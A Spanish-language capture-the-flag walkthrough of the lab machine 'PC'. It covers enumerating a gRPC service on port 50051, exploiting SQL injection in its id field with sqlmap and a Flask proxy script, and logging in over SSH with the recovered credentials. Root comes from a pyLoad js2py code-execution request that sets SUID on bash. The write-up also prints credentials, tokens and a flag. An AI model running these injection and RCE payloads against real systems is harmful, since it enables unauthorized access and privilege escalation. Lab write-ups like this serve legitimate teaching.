PC
Table of contents
Esta es una maquina bien interesante por que no tiene puerto 80, asi que descubrimeros el puerto 50051 el cual esta siendo usado por gRPC, despues usaremos un cliente gRPC para ver un poco como se estan estructurando los protobof, con base a las respuestas de las peticiones, haremos un SQL injection en el parametro ID. Para la escalada haremos un port forwarding y explotaremos una vulnerabilidad en pyLoad.
Enumeracion
Iniciamos con un escaneo con:
sudo nmap -sS -n -Pn --open -p- 10.129.93.244
sS: haga un TCP SYN Scan el cual hace un escaneo sigiloso sin completar las conexiones TCP, responde con un SYN/ACK si esta abierto
n: para que no haga resolucion DNS y tarde menos el escaneo
Pn: para evitar el descubrimiento de hosts
open: para que solo muestre los puertos abiertos
-p-: para que escanee todo el rango de puertos
Y nos reporto que hay varios puertos abiertos:
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown
Les adelanto que si buscamos por versiones y servicios tampoco vamos a encontrar nada, asi que pasamos directamente a buscar en google
Puerto 50051
Al hacer unas busquedas como 50051 port
y 50051 pentesting
es cuando encuentro que corresponde a gRPC, asi que existe un servidor gRPC en la maquina, antes que nada, vamos a ver que es gRPC
gRPC
gRPC es una implementacion de RPC (Protocolo de llamada a procedimiento remoto) el cuale es usado en aplicaciones cliente-servidor, este funciona de esta forma:
Primeramente se debe de tener creado un servidor gRPC con un servicio creado en un lenguaje compatible con gRPC, en esa imagen es C++, despues para interactuar con ese servicio se usa un cliente gRPC stub, donde stub no es mas que nada una funcionalidad encargada de serializar los datos que se envian al servidor, en una arquitectura gRPC se hace uso de algo que se llama Protocol Buffers, que es un mecanismo para serializar datos estructurados, cuando se hace una peticion, esto datos pueden ir en JSON
Interactuando con el servidor gRPC
Una vez sabiendo que existe un servidor gRPC en la maquina, necesitamos un cliente o al menos algo para realizar peticiones hacia ese servidor, aqui encontre dos: grpcurl
y grpcui
, usaremos ambas:
Usare gprcurl guiandome de aca: https://notes.akenofu.me/Network%20Pen%20test/gRPC/
Primero listare los servicios expuestos por el servidor gRPC:
grpcurl -plaintext 10.129.93.244:50051 list
Esto nos arroja:
SimpleApp
grpc.reflection.v1alpha.ServerReflection
El unico que nos interesa es el primero, pero antes… Debo de decir que en un servicio gRPC existen metodos con los cuales podemos realizar peticiones hacia ese servicio para que haga cosas que esten previamente definidas
Para listar los metodos es asi:
grpcurl -plaintext 10.129.93.244:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo
Vemos que existen 3 metodos, esos metodos tiene mas definiciones por dentro, que son los mecanismos protobuf asi que usaremos el comando:
grpcurl -plaintext 10.129.93.244:50051 describe SimpleApp
SimpleApp is a service:
service SimpleApp {
rpc LoginUser ( .LoginUserRequest ) returns ( .LoginUserResponse );
rpc RegisterUser ( .RegisterUserRequest ) returns ( .RegisterUserResponse );
rpc getInfo ( .getInfoRequest ) returns ( .getInfoResponse );
}
Y vemos que para el metodo LoginUser
existe .LoginUserRequest
y .LoginUserResponse
Ahora si queremos ver la definición de un protobuf usamos el comando:
grpcurl -plaintext 10.129.93.244:50051 describe LoginUserRequest
Y podemos ver la definicion:
LoginUserRequest is a message:
message LoginUserRequest {
string username = 1;
string password = 2;
}
Y vemos que tiene definido un nombre y contraseña, así que cuando se use el metodo de LoginUser estara esperando por un nombre y una contraseña.
Para no hacerlo tan largo, tenemos que nos podemos iniciar sesion, registrar y otro metodo que nos da una pequeña info, aremos los pasos en este orden para luego analizar una peticion
- Registrarse
- Iniciar sesion
- Mostrar info
Te dejo los comando de como Registrarse, iniciar sesion y mostrar info usando grpcurl
Registro:
grpcurl -plaintext -d '{"username":"c4rta", "password":"12345"}' 10.129.93.244:50051 SimpleApp.RegisterUser
Login:
grpcurl -plaintext -d '{"username":"c4rta", "password":"12345"}' -v 10.129.93.244:50051 SimpleApp.LoginUser
Esto arroja esto:
- Mostrar info:
grpcurl -plaintext -d '{"id":"784"}' -rpc-header 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYzRydGEiLCJleHAiOjE2ODQ5NjM2OTV9.9ocP1Hq9USx UAv_2BVxRFWLN8vDzlVxrkbiklyoU9ow' 10.129.93.244:50051 SimpleApp.getInfo
Debes de indicarle el ID y tu JWT.
Ahora si podemos pasar a la explotacion donde te mostrate 2 formas de hacerlo
1. SQL injection, gprcui y sqlmap -r
grpcui es un cliente gRPC similar a grpcurl, pero este tiene interfaz grafica, primero nos debemos de conectar al servidor gRPC:
grpcui -plaintext <IP>:50051
Esto nos abrira una web con las mismas funcionalidades que hicimos con grpcurl.
Primero creamos un usuario y esto nos debe de salir:
Ahora iniciamos sesion con ese usuario vamos a poder su JWK:
Ahora usaremos esos datos para mostrar la info del usuario que acabamos de crear, pero esta vez interceptaremos la peticion con burp:
Podemos ver que en la parte de data
se le esta pasando nuestro ID y el servidor nos responde esto:
Aqui empece a buscar las diferentes vulnerabilidades que pueden a ver en gRPC y encontre este blog https://www.trendmicro.com/en_us/research/20/h/how-unsecure-grpc-implementations-can-compromise-apis.html, en una parte habla de SQLi, asi que como la data que esta tramitando es al id, entonces decidi probar injectiones en ese campo
Primero puse una comilla al final del ID:
"data":[
{
"id":"738'"
}
Y eso me dio un error:
Seguramente el gestor de base de datos detecto un error en la consulta y arrojo eso, es posible que haya una SQLi, asi que probare con sqlmap. Tomando en cuenta que no tenemos un servidor web como tal, entonces debemos de guardar la peticion que interceptamos con burp y usando el argumento -r de sqlmap, podemos hacerlo, este es el archivo de mi peticion:
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:36401
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: h000rrAARGYkr4dDDax5sQUcnTmszKcRiLhk-0Aep-k
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://127.0.0.1:36401
Connection: close
Referer: http://127.0.0.1:36401/
Cookie: csrftoken=dv1RLiX7MBGMrZhvyWH0W4U4HIgJZdFp; _grpcui_csrf_token=h000rrAARGYkr4dDDax5sQUcnTmszKcRiLhk-0Aep-k
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYzRydGEiLCJleHAiOjE2ODQ5ODYwNDZ9.BVAx_9R6Cch8vwCUHknTLBm9l0wukqMrsy9TJcsGlJE"}],"data":[{"id":"738"}]}
Y el comando de sql map es:
sqlmap -r "$(pwd)/peticion" -level 5 --risk 3 --batch --dump
Eso automaticamente nos sacara todas las tablas, columnas, e informacion en ellas, ahi podremos ver un usuario y contraseñas
2. SQL injection con sqlmap simulando un proxy
(la idea de la solucion no es mia, Tysm to Cack for giving me the idea
)
Basicamente es levantar un servidor web con python, el cual actua como proxy, y que travez de un parametro recibira el payload de sqlmap. Este actuaria entre sqlmap y el servidor gRPC, el codigo al que llegue es:
import subprocess
import json
from flask import Flask, request
app = Flask(__name__)
@app.route('/payload')
def ctrl_payload():
payload = request.args.get('p')
payload = payload.replace('"', "'")
payload = '{"id": "' + payload + '"}'
print(payload)
cmd = ['grpcurl', '-plaintext', '-d', payload, '-rpc-header', 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYzRydGEiLCJleHAiOjE2ODQ5ODYwNDZ9.BVAx_9R6Cch8vwCUHknTLBm9l0wukqMrsy9TJcsGlJE', '10.10.11.214:50051', 'SimpleApp.getInfo']
output = subprocess.check_output(cmd)
if __name__ == '__main__':
app.run(port=12345)
Como pueden ver, al parametro ID vulnerable a SQLi se le concatena el payload, donde ese payload es el de sqlmap, despues se le pasa ese payload a la variable cmd, y por ultimo ejecuta ese comando, que vendria siendo el grpcurl pero con el payload de sqlmap
Y esto daria el mismo resultado que la primera forma:
Ahora solo queda conectarnos a ssh con las credenciales que obtuvimos
usr: sau
passwd: HereIsYourPassWord1431
Y ya tenemos la primera flag:
sau@pc:~$ cat user.txt
9346084c975a3b22536e1c6ef783075f
Escalada
Empezare usando linpeas para ver que nos reporta, lo mas interesante es que en la maquina victima esta corriendo el puerto 8000:
Y como se imaginan, debemos de hacer port forwarding, ejecutamos este comando en nuestra maquina:
ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214
Una vez dentro, veremos una pagina de pyLoad, buscando en google por vulnerabilidades, existe una ejecucion arbitraria de codigo que abusa de la funcion js2py, aca hay un post que habla sobre ello: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
Para conseguir root, debemos de asignarle permisos SUID a bash, esto lo hacemos con:
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
Y listo, esto es todo, gracias por leer ❤